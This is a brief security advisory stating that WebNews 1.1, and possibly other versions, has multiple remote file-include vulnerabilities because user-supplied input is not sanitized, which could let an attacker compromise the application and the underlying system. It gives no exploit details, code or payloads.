WebNews is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
WebNews 1.1 is vulnerable; other versions may also be affected.
